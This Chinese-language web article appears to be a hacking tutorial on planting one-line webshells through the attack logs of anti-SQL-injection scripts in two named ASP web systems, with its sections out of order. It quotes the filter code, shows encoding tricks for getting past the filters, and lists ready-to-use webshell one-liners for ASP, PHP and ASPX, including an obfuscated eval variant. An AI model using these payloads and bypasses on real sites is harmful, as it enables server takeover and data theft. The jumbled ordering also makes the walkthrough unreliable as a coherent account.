一句話木馬后門在防注入中的重生

對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,同時也把非法提交的數(shù)據(jù)寫入了系統(tǒng)的后綴為ASP的文件中,這也給了我們一些可利用的地方,大家知道,一句話馬就是利用程序過濾的不完全而寫入的,按照這思路,我們是否可以在提交非法參數(shù)中加入一句話馬而防注入程序就會記錄我們提交的數(shù)據(jù)和一句話馬并寫入數(shù)據(jù)庫,從而得到一個WEBSHELL呢?呵呵,答案是肯定的,但對于要寫入的一句話馬如何繞過過濾的程序,卻是個難題,常見的一句話馬格式為”<%execute request(“a”)%>,而<%%>就很難繞過HTML的過濾, 但我們可以通過不同的方法來繞過,下面我分別以二個系統(tǒng)來講解:
打開”http://127.0.0.1/2005/sia-log.asp,出現(xiàn)了”類型不匹配:’execute’,顯示內部錯誤的IE選項顯示好友錯誤鉤掉就可以了。我們再用一句話客戶端來接連上傳后成功得到一個WEBSHELL。
例二:再談談” 快樂視聽音樂網 V4.0版本”系統(tǒng)的利用和分析:
系統(tǒng)加強防sql注入, 取消Asp頁面, 對不友好的IP或IP段進行封鎖。自動封注入者Ip功能,使注入者不能再訪問本站!可后臺管理、顯示系統(tǒng)界面。當在參數(shù)后提交非法數(shù)據(jù)時,系統(tǒng)自動記錄你的IP地址,提交的非法參數(shù)和動作等,然后系統(tǒng)屏蔽了你的IP地址,
讓你再無法訪問網站。我們先看下防注入sql.asp文件中的部分代碼,讀過防注入代碼的人一眼就能看出來這個文件是個修改版的。
<% ‘——–說明—————— ‘SQL防注入加強版 ‘——–數(shù)據(jù)庫連接部分————– dim dbkillSql,killSqlconn,connkillSql dbkillSql="data/#sql.asp" ‘On Error Resume Next Set killSqlconn = Server.CreateObject("ADODB.Connection") connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql) killSqlconn.Open connkillSql If Err Then err.Clear Set killSqlconn = Nothing Response.Write "數(shù)據(jù)庫連接出錯,請檢查連接字串。" Response.End End If ‘——–定義部份—————— Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql ‘自定義需要過濾的字串,用 "|" 分隔 Fy_In = "’|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare" Kill_IP=True WriteSql=True 以下略過 在sql.asp文件中,對下面出現(xiàn)在”|”分隔中的字符進行了攔截: Fy_In = "’|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
也就說明了只有提交這些出現(xiàn)在”|”分隔的被過濾的字符串,才會被防注入系統(tǒng)寫入數(shù)據(jù)庫中而且是被寫入到data目錄中的#sql.asp文件中,其后綴為.asp的,剛好可以被我們利用,
同樣的道理,當你提交"<%execute request(chr(97))%>時,%被過濾了
我們把一句話小馬加密成"<%25execute request(chr(97))%25>"還是被過濾了,因為%還是存在我們把一句話改成"<script runat=server language=vbscript>eval request(chr(97))</script>這樣整句中就沒有出現(xiàn)“%“,提交后則成功完整的被寫入
用一句話客戶端連接并提交成功得到WEBSHELL。如果連接出錯,換個一句話連接工具laker2的不錯。
總結:
以上只是對這二個系統(tǒng)出現(xiàn)的漏洞一個方面的分析和利用,當然這類系統(tǒng)也存在著其它方面的漏洞如cookie的注入
例一西亞購物系統(tǒng)的利用和分析:
“西亞購物系統(tǒng)做了全面性安全處理, ‘數(shù)據(jù)庫防下載處理/CONN防止暴庫處理/防止跨站腳本攻擊/SQL注入式攻擊防范/禁止脫機瀏覽工具/前臺登陸驗證碼/后臺登陸驗證碼/
‘會員密碼MD5加密/管理員密碼MD5加密/數(shù)據(jù)來源安全性監(jiān)測/sql注入代碼過濾/HTML代碼過濾及防護/管理員登陸日至記錄/攻擊記錄及惡意IP屏蔽/非法操作代碼日至記錄/吧安全網 “
當我們在參數(shù)提交非法參數(shù)時,彈出防注入的頁面
大家看到這時我們已轉到”http://127.0.0.1/2005/Error.asp?allquery=id=381’的這個頁面上了我們來看conn.asp文件中部分防注入的代碼,代碼太長就貼點關鍵,百度老說老子文章長
if InStr(allquery,"%20")<>0 or InStr(allquery,"%27")<>0 or InStr(allquery,"’")<>0 or InStr(allquery,"%a1a1")<>0 or InStr(allquery,"%24")<>0 or InStr(allquery,"$")<>0 or InStr(allquery,"%3b")<>0 or InStr(allquery,";")<>0 or InStr(allquery,":")<>0 or InStr(allquery,"%%")<>0 or InStr(allquery,"%3c")<>0 or InStr(allquery,"<")<>0 or InStr(allquery,">")<>0 or InStr(allquery,"–")<>0 or InStr(allquery,"sp_")<>0 or InStr(allquery,"xp_")<>0 or InStr(allquery,"exec")<>0 or InStr(allquery,"/")<>0 or InStr(allquery,"delete")<>0 or InStr(allquery,"dir")<>0 or InStr(allquery,"exe")<>0 or InStr(allquery,"select")<>0 or InStr(allquery,"Update")<>0 or InStr(allquery,"cmd")<>0 or InStr(allquery,"*")<>0 or InStr(allquery,"^")<>0 or InStr(allquery,"(")<>0 or InStr(allquery,")")<>0 or InStr(allquery,"+")<>0 or InStr(allquery,"copy")<>0 or InStr(allquery,"format")<>0 then%>
對提交的非法數(shù)據(jù)中包含以上被搜索到的字符串的話,就自動跳轉到”Error.asp的頁面去,而在”Error.asp文件中有以下部分代碼:
toppath = Server.Mappath("sia-log.asp") Set fs = CreateObject("scripting.filesystemobject") If Not Fs.FILEEXISTS(toppath) Then Set Ts = fs.createtextfile(toppath, True) . . Set Ts= Fs.OpenTextFile(toppath,1) Do While Not Ts.AtEndOfStream Errorlog = Errorlog & Ts.ReadLine & chr(13) & chr(10)
當你提交非法數(shù)據(jù)時,程序就會獲得你的IP,并創(chuàng)建一個FSO對象,再利用FSO對象自動創(chuàng)建sia_log.asp文件,并將非法提交的字符寫入文件中
打開” http://127.0.0.1/2005/sia-log.aspp頁面,則看到文件記錄了我們剛才提交的數(shù)據(jù),如圖:
這說明我們剛才的提交的非法參數(shù)已寫入了這個文件中,
3:那么,我們在這個頁面的參數(shù)后插入一句話如何
卻沒有彈出相應的對話框,說明沒有寫入到sia-log.as這個文件中,我們把地址換成” http://127.0.0.1/2005/Error.asp?allquery=id=381”再來試試,如圖
提交后彈出我們希望看到的頁面。
可我們再打開”sia-log.asp”文件卻看到小馬被過濾了成<execute request(“a”)> %號和"都過濾了。從這兒,我們知道%被過濾掉了而小寫a旁雙引號被轉換了,大家自己比較下,好了,知道這點,我們就可以重新構造我們的小馬了。其實繞過這個還是很簡單的。因為一句話寫法很多。
備份專用
<%eval(request("a")):response.end%>
asp一句話
<%execute(request("1"))%>
php一句話
<?php eval($_POST[1]);?>
aspx一句話
<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>
可以躲過雷客圖的一句話。
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>
不用'<,>’的asp一句話
<script language=VBScript runat=server>execute request("1")</script>
不用雙引號的一句話。
<%eval request(chr(35))%>
這里我就用工具搗鼓一下,打開”注入字符轉換器”這款工具,把”<%” ,“execute 和request之間的空格及”(“a”)%>”相應的進行轉換,這樣原一句話馬就被加密成” %3C%25execute+request%28%22%61%22%29%25%3E” 或轉換成<%25execute request(chr(97))%25>,分別提交后,我們打開sia-log.asp文件后,可以清楚看到,二次提交的一句馬都成功的被寫入到sia_log.asp文件中了,
相關文章
thinkphp代碼執(zhí)行getshell的漏洞解決
本文來介紹一下thinkphp官方修復的一個getshell漏洞,框架對控制器沒有進行足夠的檢測導致的一處getshell,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實網絡攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實網絡攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網站實例分析,需要的朋友可以參考下2017-05-19
- 這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導致sql注入安全問題,建議大家多看一下網上的安全文章,最好的防范就是先學2017-05-19
- 對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,2017-04-29
- 我們友情進行XSS檢查,偶然跳出個小彈窗,其中我們總結了一些平時可能用到的XSS插入方式,方便我們以后進行快速檢查,也提供了一定的思路,其中XSS有反射、存儲、DOM這三類2016-12-27
- 這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了使用爬蟲采集網站時,解決被封IP的幾種方法的相關資料,需要的朋友可以參考下2016-10-08